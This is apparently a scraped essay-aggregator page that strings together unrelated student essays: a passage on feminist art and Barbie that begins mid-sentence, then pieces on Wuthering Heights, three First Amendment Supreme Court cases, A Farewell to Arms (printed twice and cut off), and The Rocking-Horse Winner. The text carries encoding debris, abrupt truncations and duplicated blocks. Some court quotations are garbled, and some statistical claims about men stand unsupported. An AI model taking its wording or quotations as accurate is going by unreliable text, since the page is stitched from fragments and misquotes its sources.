every woman a happy ending. Both Kliszynski and Piercy have recognised the detrimental effect on the mental and physical health of women (and men) of societys objectification of the human body. By constantly portraying an idealised myth of not just the body but the very role of women in society, the media (and sections of the art world) have created a culture which views the body in its natural human state as somehow wrong and abnormal. Equally, both Kliszynski and Piercy have recognised the complicity of women in this culture; the girl in the poem is healthy and intelligent, born as usual, presumably normal in all respects, and yet she accepts the truth of her low value in society because she is not perceived as physically perfect. Only in death, with her nose cut off and a cosmetically enhanced putty nose in place instead, can she be seen as pretty. Her value as a strong and useful member of society is non-existent in a world that refuses to see past her face. Kliszynski himself has said that the main body of my work is a number of human-dolls that aim to raise questions about the numerous images of the objectified and idealised body that we see in the mass mediaà ¢Ã¢â€š ¬Ã‚ ¦I came to make this work as a reaction to the lowest-common-denominator approach to masculinity taken by the media which serves and perpetuates the lad or raunch elements of our culture. Curiously this lad/raunch culture seems also to be embraced by many young women; a phenomenon which seems contrary to a properly progressive understanding of gender and identity in a post-feminist era. (http://lostinasupermarket.com/2010/09/barbie-porn-seriously/) Lad magazines such as Maxim, Stuff and various other UK-based magazines intended for teenage boys and young men are notorious for endorsing a highly commodified view of the world men and boys are encouraged to buy lots of bling like cars, stereo components and expensive suits etc. By their very placement in such magazines, in glamorous soft-porn poses, female models become as much merchandise as the gadgets featured in the articles; and as the reader must own the right phone to attain status, so he must have the right woman. Yet this attitude of the body as commodity is ironically trapping men as much as women, and both sexes are in a crisis of identity. Men are met on a daily basis with conflicting images of themselves, from the traditional Action Man role of husband, father, provider, patriarch, to the more sensitive, metro sexual Ken, whose status, like that of Barbie, is defined by how he looks and what he owns. This crisis is as important for men as for women; statistics show that young male suicides are increasing, there is a high rise in cases of attention deficit hyperactivity disorder in males, crime statistics are rising, divorce rates are going through the roof, and with mothers routinely given custody of the children even the role of fatherhood itself has come into question, exacerbated by the rising number of fertility clinics and the ability for women to so easily be single parents. Role models such as Ken and Action Man are without doubt as harmful to young men as a role model such as Barbie can be to young women. No longer seen as breadwinners, or the head of the family in a patriarchal society, men are frequently represented in the media by characters such as Homer Simpson, a chauvinistic, ignorant man who is depicted as very lazy and obsessed with food; his son Bart, often cruel to his sister, is discourteous and ill behaved. He alternative is often portrayed as Ken, an idealized, de-sexualized male with only the acquisition of material items his goal, fast cars and fashion his only interests. Even television shows like Sex and the City imply that men are just there for the sexual gratification of women. It portrays men as tactless, stupid beings that are only there for female entertainment and pleasure. These negative portrayals are as damaging to both genders as the comparative attitudes to women, rooted as they are in gender objectification and the denial of identity. Alternatively, could we welcome this shake-up of traditional gender images? Could it not be that multiplicities of roles are now establishing themselves in modern society? Toys such as Action Man often stereotype men in aggressive roles, and this convention has been questioned in the work of Susan Hiller, who explores social conditioning and attitudes to childhood in her work Punch and Judy. Punch and Judy looks closely at the brutality of slapstick comedy. First filming segments of live Punch and Judy shows the artist then transposed these images on the walls of a square room inviting the viewer to stand in the room with the puppets images looming over them, the puppets acting out violently as so often seen in their performances. Hiller examines how such stereotypical role-play in toys reinforces the assumptions placed on boys and men and how they should act in society. Where feminism fought against such patriarchal, capitalist belief systems, post-feminism seems to be buying right into the raunch culture that Kliszynski highlights. I would define Raunch culture as the whole juvenile, laddish culture that includes the lads magazines as well as strip clubs, prostitution and the celebration of prostitution, highly sexualized adverts and a general attitude that whats best about female empowerment is that more men get to see more women naked. Berger referred to it as the male gaze, Kliszynski as raunch culture, but I believe they are very similar, and it seems to be embraced by many young women, who accept whole-heartedly the entire condescending nonsense of girl power. According to Wollstonecraft, men have widened what should be merely a biological gap of physical differences into a sociological gap: But not content with this natural pre-eminence, men endeavour to sink us still lower, merely to render us alluring objects for the moment. Women, it follows, cannot help but be intoxicated by the adoration which men, under the influence of their senses, pay them. Has Barbie, in representing the most materialistic aspects of modern day culture, encouraging a stereotypical image of womanhood, become a remorseless goddess of modern society? A doll without any social conscience (or conscious), reliant solely on material belongings to bring her happiness, worshipped by millions, representative of a culture that objectifies and vilifies women, no aspect of her suggests any form of spirituality, or higher morality. When Mary Wollstonecraft accused women of their own complicity in this stereotypical view of their gender she caused ripples of anger and irritation down the centuries. How could a so-called feminist turn on her own sex with such accusations? And yet, when one takes the time to think about it, one can see how right she was. Girls play with Barbie dolls bought for them by mothers and aunts, and will, to echo Rousseau, grow up to give Barbie dolls to their daughters, thus fulfilling their destiny. They are complicit in the encouragement of stereotypical values. But what is the alternative? A girl may play with the stereotypical toys of girlhood such as dollies and prams, all pink and sparkly, mass marketed products imposed on them by a performative oriented society, or she may play with the male version of such consumer items, Action Man, cars, trains, guns . . . But what message is actually being sent? If a girl plays with Barbie dolls, she is viewed with contempt for being a typical girl; if she plays with stereotypical boys toys, she attains value in the eyes of society, for being more like a boy. No matter what she does, Barbie girl can never achieve social value by being a girl, and post-feminism has been complicit in such social values. Consuming Passions  was published in the 80s, author Judith Williamsons theory is hardly common knowledge, most likely because it is threatening. She deduces that, contrary to the ideal posed by Mattel and  Barbie, the desirable shape for a woman . . . is that of a  boy.   The highly idealised Barbie has not been without competitors, however. In 1998, Anita Roddick started an Anti-Barbie campaign, under the guise of self -esteem. Roddick started marketing posters of a doll called Ruby: The Real Deal, with posters in the UK shops she owned, all depicting images of the generously proportioned doll with the attached slogan: There are 3 billion women who dont look like supermodels and only 8 who do. With the intention of challenging stereotypes of beauty and countering the pervasive influence of the cosmetics industry, and with a tongue in cheek approach, the underlying message was far more serious and could easily be applied to the stereotypical image of woman and the way western culture objectifies women. Ruby started a worldwide debate about body image and self-esteem, but she was not universally loved. In the United States, the toy company Mattel sent a cease-and-desist order, demanding the images of Ruby were removed from American shop windows because she was making Barbie look bad, an admission surely, that Barbies impossible to achieve figure was detrimental to girls in comparison to the more realistic Ruby? In Hong Kong, posters of Ruby were banned on the MTR (Mass Transit Railway) because the authorities were concerned they would offend passengers. Like Barbie, Ruby was a de-sexualised toy, having no nipples, genitalia or pubic hair; other advertisements on the MTR whic h showed surgically enhanced, partially dressed female models, were allowed to stay. It is hard not to jump to the conclusion that it was the realistic portrayal of the female body that was offensive (and to whom? the male commuters?); in a world where the female body is perceived to be a purchasable status symbol, the male buyers were presumably offended by the depreciation in value of their idealised fantasy. Feminist artist Helen Chadwick (1954-1996) made many works that dealt directly with the role and image of women in society. In Ego Geometria Sum:The Laborers X created in 1984, she had large replicas of childrens wooden bricks transposed with images of her naked self. One may read many meanings into this artwork: is Chadwick struggling with the weight of her own image? By superimposing her naked image onto a childs brick, is she suggesting that she is nothing but a plaything, a toy? She appears to compare herself to a troll doll, held by the hair in a disembodied fist with an inane grin on its face. The troll doll is ugly and deformed looking, and Chadwick is implying that this is how society views her, and womanhood in general, from childhood onwards, if one does not conform to how society wishes one to be. All is not without hope though; Chadwick also portrays a door on one side of the brick, suggestive not only of closure, but also of the potential to open, to allow something in, or something out; a means of escape. As a Jungian archetype, the door also is representative of the feminine, with all the implications of a symbolic opening. In this artwork, is Chadwick exploring issues of entrapment and escape? Several of her works address the role and image of women in society using a wide range of materials, such as flowers, chocolate and meat. She questioned the role of the female body in art as a decorative object; just as decorative and aesthetic ideas about art themselves had been questioned in the 20th century. In 1990, she worked again on themes of sexual identity and gender with her Cibachrome transparencies entitled Eroticism which depict two brains side by side. On the surface, this is yet another apparently simple, if stunning, piece of work, but like the brain itself, this piece contains a multiplicity of layers, waiting to be explored and teased out. The work shows two brains, side by side, mirroring each other. On the sides adjoining, the brains are enlivened by what appears to be blue sparks, or flashes, suggesting brain activity. According to The Wordsworth Dictionary of Symbolism, blue is the colour of the intellect, and of spirituality; it is the medium of truth. In Eroticism, Chadwick is playing with the idea of a meeting of two minds, an attraction based on the intellect and the emotions. Yet we also associate the colour blue with something a little bit naughty, a bit risque, like a blue movie, and I would suggest that Chadwick was also bearing in mind the idea that the brain is often referred to as the largest sexual organ in the body. For Chadwick, in this piece at least, it is the attraction of two people based on a meeting of i ntellect and commonality that is important, not the outward appearance so vital to society. In the 1790s, when Mary Wollstonecraft was writing A Vindication of The Rights of Women , she argued for the need for more civil rights for women, a cause which she believed could only be achieved by permitting women a better education. She argued that a woman was capable of any intellectual feat that a man was provided with and that her early training should not brainwash her into deference to men. Wollstonecraft believed that men discourage women from achieving the same education that they receive routinely, and as long as women are denied this education, they can never hope to achieve equality with men. She builds on this lack of equal education for women in her argument adding that all men (contemporary to her) have a general lack of respect. Two hundred years later, in the 1970s, women were still fighting to achieve this basic level of respect and equality in the academic and artistic worlds, and it was the 1970s that saw the beginnings of a new art movement, the Contemporary Feminist Art Movement. The movement was inspired by demands for social, economic and political change and by the desire of female artists to try and force art galleries and museums to establish a fair representation of their work; there were very few female art teachers at that time, though the majority of students were female. It was common and widely accepted for art exhibitions to contain the works of men only, women being discriminated against openly, with some having to face the double discriminatory blow of also being black. Faith Ringgold (b.1930), an American artist, was told she could only exhibit in the museums devoted to African American art after all the black male artists had had their shows. By the 1970s, feminists and artists had started forming consciousness awareness groups that demonstrated at galleries and museums to expose some of these sexist practices, and opened galleries together for more exposure of their works. With feminist artists wanting to go further than equal representation, their works were often full of political and social content crying out for political change. The womens movement in America had one such artist by the name of Judy Chicago. Born in 1939, Chicago often reflected on issues relating to the lack of female representation in her work, saying Because we are denied knowledge of our history, we are deprived of standing upon each others shoulders and building upon each others hard earned accomplishments. Many female artists voiced these opinions at that time, wishing to transform traditional fine art and sculpture to include feminist awareness, with many exploring the female body with the intention of reclaiming the sexualised images that had been created by the male artist that preceded them. Chicagos piece Dinner Party called out for both art critics and establishments (and the Establishment?) To readdress the fact that so many female artists had been and were being excluded from art history texts used to educate the (largely female) art students currently attending the art education. This large work depicts a banquet, the settings embroidered representations of the vulva in a style appropriate to the women being represented, women Chicago wished to honour, with a further 999 women engraved in gold on the floor tiles. The geometric shape of this piece is fascinating, with the table laid out at a triangle, representing the tri-partite nature of women, the maiden, the mother and the crone. Indeed, an upside down triangle has long been used in paganism to represent the feminine. This work has gone a long way in encouraging women artists to reclaim their identity in representing the female form, and readdress the frequent degradation of female genitalia previously represented in male-created art. The Dutch artist Christina Camphausen (b. 1953) is another example of a female artist intent on reclaiming for women the representation of the female genitalia, publishing a book of her work with the vulva as sole subject. Entitled Yoni Portraits, it is filled with delicate drawings revealing the vulva in all its beauty and variety, images that are sometimes realistic and sometimes symbolic. Taken from ancient Sanskrit, the word Yoni refers to the vulva and womb and better describes femininity than its clinical counterpart (vagina) or its crude pornographic variants (cunt); in Indias sacred language it carries an inherent respect for this intimate part of a womans body which is lacking in English. In the books accompanying texts, the artist makes clear that there is nothing about the Yoni to be ashamed of. Rather, it is a body-part which in many cultures has had very different connotations of power, beauty, fertility and delight. Of her motivation, Christina says: With my work, I endeavour to assist in restoring the Yoni to her rightful and original place of honour, and to induce everyone to regard her with respect, to recognize her beauty and magical power. Though the last decades make it seem that our modern societies are sexually liberated, there still rests a taboo on this intimate part of our bodies. In general, women enjoy more freedom than they used to have, yet it surely is no advance in self-determination that many contemporary women have their intimate, lower lips corrected in order to conform to some artificial standard prescribed by cosmetic surgeons or professional nude models in glossy magazines. To make artwork with the vagina as your subject is still a very brave act, as it is a subject that is often considered inappropriate and generally thought of within the context of pornography, and, in almost all cases, for the exclusive pleasure of men. Many feminists have attempted to remove these prurient connotations by encouraging us to consider vaginas, something not to be ashamed of, but as powerful and expressive components to be proudly protected as an assertive and positive manifestation of our being. Exhibitions are now starting to show that this has changed dramatically in recent years, with many artists who have incorporated imagery of the Vagina in their works exhibiting together. One such exhibition, organized by Francis M. Naumann and David Nolan, and entitled The Visible Vagina took place on January 28, 2010 at the David Nolan Gallery in New York and included artworks by people ranging from Judy Chicago and Nancy Grossman to Robert Mapplethorpe and Pablo Picasso. The most interesting aspect for me is that there was such a strong male presence in the exhibition, and indeed it was arranged by men, a potent sign of how things have progressed. The most striking work in the exhibition for myself has to be the work of Sarah Davis and the piece Britney (Notorious), for amongst over one hundred artworks, very few of which objectify women or suggest a salacious use of imagery, this piece, a painting identical to a paparazzi-type photograph taken of the music star, hovers between art and porn; indeed, in its representation of both, it beggars the question of how art and porn can be addressed within feminist issues. If we accept that art is intended to stimulate the spectator on many levels, academically and emotionally, and that porn is needed to stimulate on a purely sexual level, I wonder how this transformation from paparazzi photograph and all the connotations of furtiveness, spying and secretiveness to painting can alter ones perception. I would like to believe that the artist who views Britney Spears as a strong, confident, self-made woman is a feminist who has staged the initial photograph to reclaim her identity by exposing her vagina just as in Yoni Portraits, believing there is nothing to be ashamed of by showing the power, beauty, fertility and delight this body part represents. Often in the media gaze, Spears is used as an example to criticise young women today, nothing but a Barbie doll. Her abilities as a mother, her career and social life are frequently held up to public scrutiny. Men that are in the public gaze however, may be criticised for their affairs, heir drug dependency, their fights etc., yet rarely for their dress code or indeed for their roles or abilities as fathers. This is a gender bias that has become commonplace and widely accepted. In addition, when Spears chose to wear a revealing dress and decorate her body with piercings and tattoos, the tabloids turned on her viciously, and accused her of mental illness when she publicly shaved her hair off. I feel though, that Spears was sending a message, via the media, about her sense of identity and her value as a woman. By shaving her hair off Spears was questioning the male perception of femaleness and femininity; she was a Rapunzel trapped by her beauty in a tower created by the male gaze. The only way to take control of the situation and to escape, was, like Rapunzel, to chop off all her hair and reassert her own identity away from social expectations and the medias critical portrayal of women. In Ways of Seeing, John Berger explores the difference between nudity and nakedness, suggesting that when one is nude, the spectator (and there must be one) merely sees the human body unclothed. When one is naked, the spectator (even if that is only oneself) sees the real ess ence of the person. Nakedness is far more intimate than nudity. When Spears cut off all her hair it was as if she had removed a disguise, and showed herself to the world fully naked, expressing her inner self. It is this aspect that Davis has picked up on in her piece of art: Britney Spears as a model of sex positive feminism, the un-Barbie goddess of post-feminism. Sex positive feminism, also known as sexually liberal feminism or sex-radical feminism began as a movement in the 1980s. Many women became involved in a direct response to the efforts of anti-porn feminists such as Andrea Dworkin, as they argued that pornography was the centre of feminist theory for womens oppression. This period is known as the feminist sex wars, a time of heated debate between anti-porn feminists and sex-positive feminists, between the notions of the sex industry as an abusive and violent environment for women and the beliefs in womens ability to choose to be highly sexual beings and raises the question of who is exploiting who? When Spears posed for a statue by American sculptor Daniel Edwards (b.1965) for the pro-life movement, she was once again steeped in the controversy of is it art or is it porn? Entitled Monument to Pro-Life this work is a full size sculpture of a naked Britney Spears in childbirth. The sculpture shows Spears on all fours on a bearskin rug, her mouth slightly open and her eyelids heavy, looking as if she is about to cry out. There is no indication of pain or pleasure; it is not at all indicative of sexual provocation or pornography. Her hands lie wrapped around either side of the head of the bear, as if she is using it to act as a medium to the spirit world communicating with the animalistic urges childbirth conjures up. Yet the media has criticised this piece, stating that: Britneys in a position that most would sooner associate with getting pregnant than with giving birth. I believe that in some ways things have deteriorated rather than progressed: the beauty industry and the porn industry, in their own sometimes-converging ways, have caused a lot of that. Going back to the early 70s, as women began to enter the workforce in larger numbers, some of that earning power was used against them by aggressive beauty product marketing. The result has been an increasing focus in the last three decades on dieting, an explosion in both sexes

Essay --

The Gothic novel, Wuthering Heights by Emily Brontà « can be depicted as a novel that lacks a hero. Heathcliff, the protagonist of the novel, lacks many characteristics of a traditional hero; therefore, causes him to reflect the definition of a villain in a work of literature. Wuthering Heights illustrates that a predictable hero is not presented and that Heathcliff is the antithesis of a hero in the novel. Heathcliff is characterized as a vengeful character, who becomes destroyed and corrupted due to his rejection from Catherine, his overwhelming jealousy, and his mistreatment as a child by Hindley. He is a cynical character and due to his cruel and wicked attitude that grows throughout the novel, he grows to be a villain. Wuthering Heights lacks what a reader might assume to be an established hero. The novel lacks a hero due to the protagonists' personality, actions, and use of his qualities towards specific characters. Heathcliff, who develops into a wicked character from a young age, lacks heroic attributions because he shifts roles from a young age. Heathcliff develops into a misanthrope and a "...man who seemed more exaggeratedly reserved than myself." as described by Lockwood (4). Heathcliff grows up to become isolated from the rest of the world, having obtained Wuthering Heights and Thrushcross Grange after his true loves', Catherine's, death. Although Heathcliff portrays hero related characteristics, he does not utilize his traits in appropriate situations or in acceptable ways, which causes the story to lack a hero figure. Heathcliff does not use his traits to present the archetypal hero in the work of literature. He has been treated harshly as a child himself; however, he uses his past to fu lfill his future. Heathclif... ..., the protagonist of the novel, lacks many characteristics of a traditional hero; therefore, causes him to reflect the definition of a villain. Due to his wicked and vengeful attitude that grows throughout the novel, Heathcliff grows to be a villain. Although he was mistreated as a child, he utilizes and carries out his past to continue his future, which still caused him pain and suffering in the end. Heathcliff took advantage and sought revenge over the ones who mistreated him, which is why he can be characterized as a major villain and why the novel Wuthering Heights lacks a hero. Although Heathcliff and Catherine illustrate an endless love, the two characters take advantage of each other and cause harm to one another in numerous ways. They do not feel sympathetic towards each other because they both state how they have killed each other emotionally and mentally.

First Amendment

The First Amendment is part of the Bill of Rights. The Bill of Rights is our rights as citizens living in the United States of America. In this paper I will look at three provisions to the First Amendment, highlighting one case for each provision. Included are one case to discuss freedom of speech, one case to discuss separation of church and state and one case to discuss freedom of association. 1.)Discuss at least one Supreme Court case of significance related to three of the provisions of the First Amendment. Case number 1: Cohen v. California, 403 U.S. 15 (1971), this was a United States Supreme Court case dealing with freedom of speech. The United States Supreme Court overturned a disturbing the peace conviction by a man who exited a courthouse wearing a jacket decorated with profanity. On April 26, 1968, Paul Robert Cohen was 19 at the time of his arrest outside a Los Angeles courthouse wearing a jacket decorated with profanity. His jacket had the words â€Å"[email  protected]%k the Draft.† Cohen was arrested for maliciously and willfully disturbing the peace or quiet by any person or a neighborhood. a.)Why did this case have to be heard and interpreted by the Supreme Court? Paul Robert Cohen was found guilty of disturbing the peace at a Los Angeles Courthouse. Cohen’s lawyers appealed and the conviction stood its ground in the California Court of Appeal. The California Supreme Court denied review, the United States Supreme Court granted to review and argue the case. The Court’s decision was in favor of Paul Robert Cohen by a vote of 5-4 and overturned the appellate court’s ruling. According to Justice John Marshall Harlan II â€Å"the state may not, consistently with the First and Fourteenth Amendments, make the simple public of this single four-letter expletive a criminal offense.† (Cohen v. California, docket #: 299, 1971). b.)How do the Supreme Court decisions in each case continue to affect the rights of American Citizens today? Cohen v. California is a landmark case because this case removes from our government the right to censor speech and determine what actions of speech are appropriate for a civil society (Balter-Reitz, 2003). This case affects all of us today because it prevents local and federal government determine what is appropriate or over the line when we are expressing ourselves. 2.)Discuss at least one Supreme Court case of significance related to three of the provisions of the First Amendment. Case number 2: McCollum v. Board of Education, 333 U.S. 203 (1948), this was a United States Supreme Court case dealing with separation of church and state. This case was argued at the United States Supreme Court to the power of a state to use tax money to support public schools to provide religious instruction. Vashti McCollum an atheist objected to the religious classes being provided by the Champaign public school district. McCollum argued that the school district violated the First Amendment, the principle of separation of church and state. a.)Why did this case have to be heard and interpreted by the Supreme Court? McCollum v. Board of Education, 333 U.S. 203 (1948) was first decided in the circuit court of Champaign County in favor of the school district. McCollum then appealed to the Illinois Supreme Court that held the lower court’s ruling. McCollum finally appealed to the United States Supreme Court that agreed to hear her case. The Courts decision was in favor or Vashti McCollum by a vote of 8-1ruling that the religious classes was unconstitutional. Justice Hugo Black stated that â€Å"To hold that a state cannot consistently with the First and Fourteenth Amendments utilize its public school system to aid any or all religious faiths or sects in the dissemination of their doctrines† (McCollum v. Board of Education, 333 U.S. 203, 1948). b.)How do the Supreme Court decisions in each case continue to affect the rights of American Citizens today? This was a landmark case because it separated church from state. This case also provided a level platform for those who are attending a public school. In the McCollum case her son was being singled and made fun of by other students because he did not attend the religious classes. This case was beneficial for all of us today to attend a public school government funded and not have to attend religious classes against our will. As a result of this case school officials in Champaign Ill, decided to release the students one hour earlier known as â€Å"release time† to attend religious classes without supervision from teachers or school officials (Time Magazine, 1948) 3.)Discuss at least one Supreme Court case of significance related to three of the provisions of the First Amendment. Case number 3: Boy Scouts of America et al. v. Dale, 530 U.S. 640 (2000), this was a United States Supreme Court case dealing with freedom of association. James Dale an assistant scoutmaster for the Boy Scouts of America was expelled from scouting after the Boy Scouts of America read an article at a local newspaper that Dale indicated and quoted that he was gay. a.)Why did this case have to be heard and interpreted by the Supreme Court? Boy Scouts of America et al. v. Dale, 530 U.S. 640 (2000), was first decided at a New Jersey Supreme Court which forced the Boy Scouts of America to readmit assistant Scoutmaster James Dale after learning that he is gay. The United States Supreme Court overturned the New Jersey Supreme Court decision and decided that forcing the Boy Scouts of America to readmit James Dale violated the rights of the Boy Scouts of America, specifically the freedom of association. The Freedom of Association allows a private organization to determine which person can be included into the organization (Boy Scouts of America et al. v. Dale, 530 U.S. 640, 2000.) b.)How do the Supreme Court decisions in each case continue to affect the rights of American Citizens today? Affects of the U.S. Supreme Court’s decision on the case of Boy Scouts of America et al. v. Dale, 530 U.S. 640, (2000) is difficult to measure. It only has been 10 years since the decision but today we are experiencing other cases similar to one above. Cases of the military’s â€Å"don’t ask don’t tell† policy has recently been on the news as well states allowing or opposing gay marriages. I predict that the above case will be serving as a foundation for future decisions regarding Americans rights to freedom of association especially if they are gay. 4.)Evaluate the rights and responsibilities that the constitution provides you as an American Citizen. In the examination of the cases above, the Constitution provides me an American Citizen a safety net to argue situations when I felt that my constitution is being violated. I can believe that I can appeal to a higher court and all the way to the United States Supreme Court to make a final decision. In conclusion, this was a great paper to write because as an American Citizen I have neglected to fully understand the right given to me as a citizen. This paper made me realize how much protection I have as a citizen. After examining the three United States Supreme Court cases I am glad that there is a higher court and whether the decision is pro or con, I can rest assure that a fair and just decision will be made. References http://www.firstamendmentcenter.org/faclibrary/case.aspx?case=Cohen_v_CA http://www.time.com/time/magazine/article/0,9171,804516,00.html caselaw.lp.findlaw.com/scripts/getcase.pl?court=US&vol=000&invol=99-699 caselaw.lp.findlaw.com/cgi-bin/getcase.pl?court=US&vol=333&invol=203

Free Essays on A Farewell to Arms- Historical Romance

The novel "A Farewell to Arms" should be classified as a historical romance. Many people in reading this book could interpret this to be a war novel, when in fact it was one of the great romance novels written in its time. When reading this book you notice how every important event of the war is overshadowed by the strong love story behind it. The love story is circled around two people, Frederic Henry and Catherine Barkley. Frederic is a young American ambulance driver with the Italian army in World War I. He meets Catherine, a beautiful English nurse, near the front of Italy and Austria. At first Frederic’s relationship with Catherine consists of a game based on his attempts to seduce her. He does make one attempt to kiss her, and is quickly slapped by an offended Catherine. Later in the story, Frederic is wounded and sent to the American hospital where Catherine works. Here he finds a part of him he has never had before, the ability to love. This is where his feelings for Catherine become extremely evident. Their relationship progresses and they begin a passionate love affair. After his stay in the hospital, Frederic returns to the war front. During this period, Hemmingway heavily indicates the love Frederic has for Catherine. It is evident that Frederic is distracted by his love for Catherine. During a massive retreat from the Austrians and the Germans, the Italian forces become disordered and chaotic. Frederic is forced to shoot an engineer sergeant under his command, and in the confusion is arrested by the Italian military police for the crime of not being Italian. Disgusted with the Army and facing death, Frederic decides he has had enough of the war; he dives in to the river to escape. After swimming to safety, Frederic boards a train and reunites with Catherine. She is pregnant with their baby. With the help of an Italian bartender, Catherine and Fred... Free Essays on A Farewell to Arms- Historical Romance Free Essays on A Farewell to Arms- Historical Romance The novel "A Farewell to Arms" should be classified as a historical romance. Many people in reading this book could interpret this to be a war novel, when in fact it was one of the great romance novels written in its time. When reading this book you notice how every important event of the war is overshadowed by the strong love story behind it. The love story is circled around two people, Frederic Henry and Catherine Barkley. Frederic is a young American ambulance driver with the Italian army in World War I. He meets Catherine, a beautiful English nurse, near the front of Italy and Austria. At first Frederic’s relationship with Catherine consists of a game based on his attempts to seduce her. He does make one attempt to kiss her, and is quickly slapped by an offended Catherine. Later in the story, Frederic is wounded and sent to the American hospital where Catherine works. Here he finds a part of him he has never had before, the ability to love. This is where his feelings for Catherine become extremely evident. Their relationship progresses and they begin a passionate love affair. After his stay in the hospital, Frederic returns to the war front. During this period, Hemmingway heavily indicates the love Frederic has for Catherine. It is evident that Frederic is distracted by his love for Catherine. During a massive retreat from the Austrians and the Germans, the Italian forces become disordered and chaotic. Frederic is forced to shoot an engineer sergeant under his command, and in the confusion is arrested by the Italian military police for the crime of not being Italian. Disgusted with the Army and facing death, Frederic decides he has had enough of the war; he dives in to the river to escape. After swimming to safety, Frederic boards a train and reunites with Catherine. She is pregnant with their baby. With the help of an Italian bartender, Catherine and Fred...

The Rocking Horse Winner, David Herbert Lawrences Essays

The Rocking Horse Winner, David Herbert Lawrences Essays The Rocking Horse Winner, David Herbert Lawrences Paper The Rocking Horse Winner, David Herbert Lawrences Paper Essay Topic: Literature In David Herbert Lawrences The Rocking-Horse Winner, Paul was a young child from a money-oriented family whose personality evolved from an introverted and inquisitive little boy seeking his mothers attention to an obsession with trying to please her. Pauls mother was merely attracted to material possessions and uninterested in her offspring. She was in debt and continued to live beyond their funds. Paul was starving for love and attention from his mother and struggled to please her. He became captivated with laying a bet on horse racing and making money to satisfy his mother. Pauls obsessions with trying to gain his mothers warmth eventually lead to his downfall. D. H. Lawrence shows of the traumatic ruin of an upper middle class family stressed to maintain appearances in the face of customary overspending. The most terrible offender is the status-conscious mother because unfortunately, no matter how much capital Paul earns, her over-elaborate tastes only grows rapidly. In literature, theoretical analysis behaves as a crucial function in the understanding and critical meaning of a text. Some writers supply hidden meaning that is suitable to these theories to produce a greater density in the plot of the story. The Rocking Horse Winner is a leading example of an author skillfully utilizing this theoretical approach to the development of a story. In this story the psychoanalytic theory is applied. In literature, there are two types of psychoanalytic theory. One is built on the work of Sigmund Freud and the other is the modification of Freuds work by Jacques Lacan, a French psychoanalyst. From these two perspectives of this specific theory, Jacques Lacans theory appears to be the inspiration that Lawrence wrote his story from. In Lacans vision, he points toward the development of children and society. He sees the evolution of the child from the early years to maturity as a progression of stages in life. This development stresses the affiliation of the child to language and the relationships it has with others. This accentuation directly influences the childs sense of self. In application to the Psychoanalytic Theory, the story extensively reflects Lacans mirror stage. The similarity may possibly cause an individual to trust that Lawrence was an intense advocate in this theory. Not only from Pauls obsession and ultimate downfall, but the relationship of child and mother expressed in the course of the story makes it apparent that Lacan did have a substantial inspiration on the tale. The psychological aspect of the story also manifests Freuds Oedipus complex. Freud sugge sted that all boys go through a stage where they want to take their fathers place. Pauls desire to earn money for the family can be said to be an unconscious desire to take his fathers place. Pauls desire to take care of the familys needs is Oedipal. In the story, it is the lack of the fathers luck that originally causes Paul to be fixated with the desire to be lucky, generously for his mother. Psychological Criticism is a technique that concentrates on the unconscious thoughts of the human intellect. Psychological criticism makes an effort to reveal those profound and unexplained concepts in the literary field. In numerous ways D. H. Lawrences story, The Rocking-Horse Winner deals with the contradictory feelings and perspective of the two main characters, mother and son. Through the story, it is obvious that the mother concentrates primarily on her misery in life, predominantly that she lacks all the wealth she desires. This is noticeable where she mentions to her son I used to think I was, before I married. Now I think I am very unlucky indeed. (Kennedy 595) When Paul makes an attempt to get her to see that despite her bitterness towards her life, his outlook on luck is distinct from hers. Despite her resentment, he states at one point to her Im a lucky person. The mothers great denial of any opportunity of happiness though transforms the Pauls plan. In addition, the action alone unmistakably manifests the sons desire to please his egocentric mother. The son seems determined to give his mother some good luck. It was not until she was married that she claimed her bad luck began. This is apparent when her son asks her if she received anything pleasant for her birthday, which to she responds coldly Quite moderately nice. Paul was never fully satisfied with his earnings for the reason that he felt it wasnt sufficient for his mother. Every time the house chanted, There must be more money! There must be more money! there was a consistent drain of Pauls strength and determination for life, leading him to a painful stage. His life is taken because of his obsession to be lucky. To be lucky, in the words of his mother, was to be wealthy. This misunderstanding drives Paul to go insane where it ultimately results in his young death. The depictions of trauma in the story are illustrated through Paul and his obsession. His mother conditions him in a way that he feels the only way to prove to her his adoration is to be as prosperous as he can be. Yet, being a young child, he forces all of his power into pleasing her desires and ends up taking his own life. At the end of the story, Paul lies dead due to a sickness apparently brought on by exhaustion. He has ridden his rocking-horse for the last time, and received a considerable amount of money for his mother, thus proving to her that he is, in fact, lucky. Paul was an inquisitive little boy. He was concerned as to why his mother was so miserable. His mother told him that they were the poor ones in the family because they were unlucky. Paul, in an attempt to please his mother told her that he was lucky. His mother belittled this idea causing Paul to feel rejected. Paul went in search of luck to gain his mothers approval. As with most children Paul had a longing to be loved and accepted by his mother and felt that he could accomplish this by providing her with the material things she longed for. This was shown by the development of his character from curious to pleasing to obsessed. His successful efforts in providing his mother with monetary wealth proved to be pointless in obtaining the love that he desired from her. Pauls mother in The Rocking Horse Winner is a cold, unloving parent who is extravagant and materialistic. The mother has a cold heart and an inability to love when it comes to her children. The cold and unloving quality of the mother is demonstrated clearly by Lawrence. She married for love, and the love turned to dust. She had bonny children, yet she felt they had been thrust upon her, and she could not love them (Kennedy 594). The quote creates an image of how cold the mother is towards her children. Hester stopped respecting and loving her husband, once he was unable to provide her with all her extravagant taste. Hester blames their financial failure to her unlucky husband. The situation made her grow bitter. Hesters priorities; obviously not the children but her greed, has made her unable to display any affection toward the children. This story critically judges those who associate love with money and luck with happiness. The mother with her insatiable desire for material possessions believes that money will make her happy despite the obvious fact that so far it has not. Paul, who learns from his mother to associate money with love, represents the desperate search for values in a cash culture. Mothers mold their sons into men who are the opposites of their undesirable husbands. Since mothers cannot change their husbands they create desirable sons. Making her feelings known the mother coldly characterizes her husband as very unlucky. By telling Paul this she sets in motion the boys useless mission to please her to be the man his father could not.

Ports in the Storm Essay Example | Topics and Well Written Essays - 500 words

